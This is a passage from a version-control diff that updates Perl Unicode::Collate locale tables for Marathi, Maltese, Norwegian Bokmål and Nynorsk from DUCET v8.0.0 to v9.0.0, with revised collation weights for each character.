+0D28 0D4D 200D ; [.28AB.0020.0002][.28CF.0021.0002] # <MALAYALAM LETTER NA, MALAYALAM SIGN VIRAMA, ZERO WIDTH JOINER>
+0D7B      ; [.28AB.0020.0003][.28CF.0021.0002] # MALAYALAM LETTER CHILLU N
+0D30 0D4D 200D ; [.28B3.0020.0002][.28CF.0021.0002] # <MALAYALAM LETTER RA, MALAYALAM SIGN VIRAMA, ZERO WIDTH JOINER>
+0D7C      ; [.28B3.0020.0003][.28CF.0021.0002] # MALAYALAM LETTER CHILLU RR
+0D32 0D4D 200D ; [.28B4.0020.0002][.28CF.0021.0002] # <MALAYALAM LETTER LA, MALAYALAM SIGN VIRAMA, ZERO WIDTH JOINER>
+0D7D      ; [.28B4.0020.0003][.28CF.0021.0002] # MALAYALAM LETTER CHILLU L
+0D33 0D4D 200D ; [.28BA.0020.0002][.28CF.0021.0002] # <MALAYALAM LETTER LLA, MALAYALAM SIGN VIRAMA, ZERO WIDTH JOINER>
+0D7E      ; [.28BA.0020.0003][.28CF.0021.0002] # MALAYALAM LETTER CHILLU LL
+0D02      ; [.28B1.0020.0002][.28CF.0021.0002] # MALAYALAM SIGN ANUSVARA
+0D7B 0D4D ; [.28AB.0020.0002][.28CF.0020.0003] # <MALAYALAM LETTER CHILLU N, MALAYALAM SIGN VIRAMA>
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/mr.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/mr.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/mr.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,14 +1,14 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0902      ; [.25CE.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA
-0901      ; [.25CE.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU
-0903      ; [.25CE.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA
-0950      ; [.25CE.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM
-0933      ; [.2611.0020.0002][.FFF1.0000.0000] # DEVANAGARI LETTER LLA
-0934      ; [.2611.0020.0002][.FFF1.0000.0000][.0000.00BD.0002] # DEVANAGARI LETTER LLLA
-0915 094D 0937 ; [.2611.0020.0002][.FFF2.0000.0000] # <DEVANAGARI LETTER KA, DEVANAGARI SIGN VIRAMA, DEVANAGARI LETTER SSA>
-091C 094D 091E ; [.2611.0020.0002][.FFF3.0000.0000] # <DEVANAGARI LETTER JA, DEVANAGARI SIGN VIRAMA, DEVANAGARI LETTER NYA>
-0939      ; [.2611.0020.0002][.FFF0.0000.0000] # DEVANAGARI LETTER HA
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0902      ; [.265B.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA
+0901      ; [.265B.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU
+0903      ; [.265B.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA
+0950      ; [.265B.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM
+0933      ; [.269E.0020.0002][.FFF1.0000.0000] # DEVANAGARI LETTER LLA
+0934      ; [.269E.0020.0002][.FFF1.0000.0000][.0000.00C2.0002] # DEVANAGARI LETTER LLLA
+0915 094D 0937 ; [.269E.0020.0002][.FFF2.0000.0000] # <DEVANAGARI LETTER KA, DEVANAGARI SIGN VIRAMA, DEVANAGARI LETTER SSA>
+091C 094D 091E ; [.269E.0020.0002][.FFF3.0000.0000] # <DEVANAGARI LETTER JA, DEVANAGARI SIGN VIRAMA, DEVANAGARI LETTER NYA>
+0939      ; [.269E.0020.0002][.FFF0.0000.0000] # DEVANAGARI LETTER HA
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/mt.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/mt.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/mt.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,31 +1,31 @@
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
    upper_before_lower => 1,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-010B      ; [.1BF4.0020.0002] # LATIN SMALL LETTER C WITH DOT ABOVE
-0063 0307 ; [.1BF4.0020.0002] # LATIN SMALL LETTER C WITH DOT ABOVE
-010A      ; [.1BF4.0020.0008] # LATIN CAPITAL LETTER C WITH DOT ABOVE
-0043 0307 ; [.1BF4.0020.0008] # LATIN CAPITAL LETTER C WITH DOT ABOVE
-0121      ; [.1C6E.0020.0002] # LATIN SMALL LETTER G WITH DOT ABOVE
-0067 0307 ; [.1C6E.0020.0002] # LATIN SMALL LETTER G WITH DOT ABOVE
-0120      ; [.1C6E.0020.0008] # LATIN CAPITAL LETTER G WITH DOT ABOVE
-0047 0307 ; [.1C6E.0020.0008] # LATIN CAPITAL LETTER G WITH DOT ABOVE
-0067 0127 ; [.1C92.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER H WITH STROKE>
-0067 0126 ; [.1C92.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER G, LATIN CAPITAL LETTER H WITH STROKE>
-0047 0127 ; [.1C92.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER H WITH STROKE>
-0047 0126 ; [.1C92.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER H WITH STROKE>
-0067 0068 0335 ; [.1C92.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER H, COMBINING SHORT STROKE OVERLAY>
-0067 0048 0335 ; [.1C92.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER G, LATIN CAPITAL LETTER H, COMBINING SHORT STROKE OVERLAY>
-0047 0068 0335 ; [.1C92.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER H, COMBINING SHORT STROKE OVERLAY>
-0047 0048 0335 ; [.1C92.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER H, COMBINING SHORT STROKE OVERLAY>
-0127      ; [.1CAC.0020.0002] # LATIN SMALL LETTER H WITH STROKE
-0068 0335 ; [.1CAC.0020.0002] # LATIN SMALL LETTER H WITH STROKE
-210F      ; [.1CAC.0020.0002] # PLANCK CONSTANT OVER TWO PI
-0126      ; [.1CAC.0020.0008] # LATIN CAPITAL LETTER H WITH STROKE
-0048 0335 ; [.1CAC.0020.0008] # LATIN CAPITAL LETTER H WITH STROKE
-017C      ; [.1E9B.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE
-007A 0307 ; [.1E9B.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE
-017B      ; [.1E9B.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE
-005A 0307 ; [.1E9B.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE
+   entry => <<'ENTRY', # for DUCET v9.0.0
+010B      ; [.1C79.0020.0002] # LATIN SMALL LETTER C WITH DOT ABOVE
+0063 0307 ; [.1C79.0020.0002] # LATIN SMALL LETTER C WITH DOT ABOVE
+010A      ; [.1C79.0020.0008] # LATIN CAPITAL LETTER C WITH DOT ABOVE
+0043 0307 ; [.1C79.0020.0008] # LATIN CAPITAL LETTER C WITH DOT ABOVE
+0121      ; [.1CF3.0020.0002] # LATIN SMALL LETTER G WITH DOT ABOVE
+0067 0307 ; [.1CF3.0020.0002] # LATIN SMALL LETTER G WITH DOT ABOVE
+0120      ; [.1CF3.0020.0008] # LATIN CAPITAL LETTER G WITH DOT ABOVE
+0047 0307 ; [.1CF3.0020.0008] # LATIN CAPITAL LETTER G WITH DOT ABOVE
+0067 0127 ; [.1D17.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER H WITH STROKE>
+0067 0126 ; [.1D17.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER G, LATIN CAPITAL LETTER H WITH STROKE>
+0047 0127 ; [.1D17.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER H WITH STROKE>
+0047 0126 ; [.1D17.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER H WITH STROKE>
+0067 0068 0335 ; [.1D17.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER H, COMBINING SHORT STROKE OVERLAY>
+0067 0048 0335 ; [.1D17.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER G, LATIN CAPITAL LETTER H, COMBINING SHORT STROKE OVERLAY>
+0047 0068 0335 ; [.1D17.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER H, COMBINING SHORT STROKE OVERLAY>
+0047 0048 0335 ; [.1D17.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER H, COMBINING SHORT STROKE OVERLAY>
+0127      ; [.1D31.0020.0002] # LATIN SMALL LETTER H WITH STROKE
+0068 0335 ; [.1D31.0020.0002] # LATIN SMALL LETTER H WITH STROKE
+210F      ; [.1D31.0020.0002] # PLANCK CONSTANT OVER TWO PI
+0126      ; [.1D31.0020.0008] # LATIN CAPITAL LETTER H WITH STROKE
+0048 0335 ; [.1D31.0020.0008] # LATIN CAPITAL LETTER H WITH STROKE
+017C      ; [.1F20.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE
+007A 0307 ; [.1F20.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE
+017B      ; [.1F20.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE
+005A 0307 ; [.1F20.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/nb.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/nb.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/nb.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,76 +1,76 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0111      ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0110      ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-00F0      ; [.1C0A.0022.0002] # LATIN SMALL LETTER ETH
-1DD9      ; [.1C0A.0022.0002] # COMBINING LATIN SMALL LETTER ETH
-00D0      ; [.1C0A.0022.0008] # LATIN CAPITAL LETTER ETH
-00FE      ; [.1E10.0020.0003][.1C93.0020.0003] # LATIN SMALL LETTER THORN
-00DE      ; [.1E10.0020.0009][.1C93.0020.0009] # LATIN CAPITAL LETTER THORN
-00FC      ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0171      ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0170      ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-00E6      ; [.1F11.0020.0002] # LATIN SMALL LETTER AE
-1DD4      ; [.1F11.0020.0002] # COMBINING LATIN SMALL LETTER AE
-00C6      ; [.1F11.0020.0008] # LATIN CAPITAL LETTER AE
-1D2D      ; [.1F11.0020.0014] # MODIFIER LETTER CAPITAL AE
-01FD      ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
-01FC      ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
-01E3      ; [.1F11.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
-01E2      ; [.1F11.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
-00E4      ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1F11.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1F11.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-0119      ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
-0065 0328 ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
-0118      ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-0045 0328 ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-00F8      ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE
-006F 0338 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE
-00D8      ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
-004F 0338 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
-01FF      ; [.1F12.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
-01FE      ; [.1F12.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
-00F6      ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-0151      ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-006F 030B ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-0150      ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-004F 030B ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-0153      ; [.1F12.0023.0002] # LATIN SMALL LIGATURE OE
-0152      ; [.1F12.0023.0008] # LATIN CAPITAL LIGATURE OE
-00E5      ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-0061 030A ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-00C5      ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-0041 030A ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-212B      ; [.1F13.0020.0008] # ANGSTROM SIGN
-01FB      ; [.1F13.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
-01FA      ; [.1F13.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
-0061 0061 ; [.1F13.0021.0002] # <LATIN SMALL LETTER A, LATIN SMALL LETTER A>
-0041 0061 ; [.1F13.0021.0007] # <LATIN CAPITAL LETTER A, LATIN SMALL LETTER A>
-0041 0041 ; [.1F13.0021.0008] # <LATIN CAPITAL LETTER A, LATIN CAPITAL LETTER A>
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0111      ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0110      ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+00F0      ; [.1C8F.0022.0002] # LATIN SMALL LETTER ETH
+1DD9      ; [.1C8F.0022.0002] # COMBINING LATIN SMALL LETTER ETH
+00D0      ; [.1C8F.0022.0008] # LATIN CAPITAL LETTER ETH
+00FE      ; [.1E95.0020.0003][.1D18.0020.0003] # LATIN SMALL LETTER THORN
+00DE      ; [.1E95.0020.0009][.1D18.0020.0009] # LATIN CAPITAL LETTER THORN
+00FC      ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+00DC      ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+01DC      ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB      ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01D8      ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7      ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01D6      ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5      ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+01DA      ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9      ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+0171      ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0170      ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+00E6      ; [.1F96.0020.0002] # LATIN SMALL LETTER AE
+1DD4      ; [.1F96.0020.0002] # COMBINING LATIN SMALL LETTER AE
+00C6      ; [.1F96.0020.0008] # LATIN CAPITAL LETTER AE
+1D2D      ; [.1F96.0020.0014] # MODIFIER LETTER CAPITAL AE
+01FD      ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
+01FC      ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
+01E3      ; [.1F96.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
+01E2      ; [.1F96.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
+00E4      ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1F96.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1F96.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+0119      ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
+0065 0328 ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
+0118      ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+0045 0328 ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+00F8      ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE
+006F 0338 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE
+00D8      ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
+004F 0338 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
+01FF      ; [.1F97.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
+01FE      ; [.1F97.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
+00F6      ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+0151      ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+006F 030B ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+0150      ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+004F 030B ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+0153      ; [.1F97.0023.0002] # LATIN SMALL LIGATURE OE
+0152      ; [.1F97.0023.0008] # LATIN CAPITAL LIGATURE OE
+00E5      ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+0061 030A ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+00C5      ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+0041 030A ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+212B      ; [.1F98.0020.0008] # ANGSTROM SIGN
+01FB      ; [.1F98.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
+01FA      ; [.1F98.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
+0061 0061 ; [.1F98.0021.0002] # <LATIN SMALL LETTER A, LATIN SMALL LETTER A>
+0041 0061 ; [.1F98.0021.0007] # <LATIN CAPITAL LETTER A, LATIN SMALL LETTER A>
+0041 0041 ; [.1F98.0021.0008] # <LATIN CAPITAL LETTER A, LATIN CAPITAL LETTER A>
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/nn.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/nn.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/nn.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,76 +1,76 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0111      ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0110      ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-00F0      ; [.1C0A.0022.0002] # LATIN SMALL LETTER ETH
-1DD9      ; [.1C0A.0022.0002] # COMBINING LATIN SMALL LETTER ETH
-00D0      ; [.1C0A.0022.0008] # LATIN CAPITAL LETTER ETH
-00FE      ; [.1E10.0020.0003][.1C93.0020.0003] # LATIN SMALL LETTER THORN
-00DE      ; [.1E10.0020.0009][.1C93.0020.0009] # LATIN CAPITAL LETTER THORN
-00FC      ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0171      ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0170      ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-00E6      ; [.1F11.0020.0002] # LATIN SMALL LETTER AE
-1DD4      ; [.1F11.0020.0002] # COMBINING LATIN SMALL LETTER AE
-00C6      ; [.1F11.0020.0008] # LATIN CAPITAL LETTER AE
-1D2D      ; [.1F11.0020.0014] # MODIFIER LETTER CAPITAL AE
-01FD      ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
-01FC      ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
-01E3      ; [.1F11.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
-01E2      ; [.1F11.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
-00E4      ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1F11.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1F11.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-0119      ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
-0065 0328 ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK
-0118      ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-0045 0328 ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK
-00F8      ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE
-006F 0338 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE
-00D8      ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
-004F 0338 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
-01FF      ; [.1F12.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
-01FE      ; [.1F12.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
-00F6      ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS
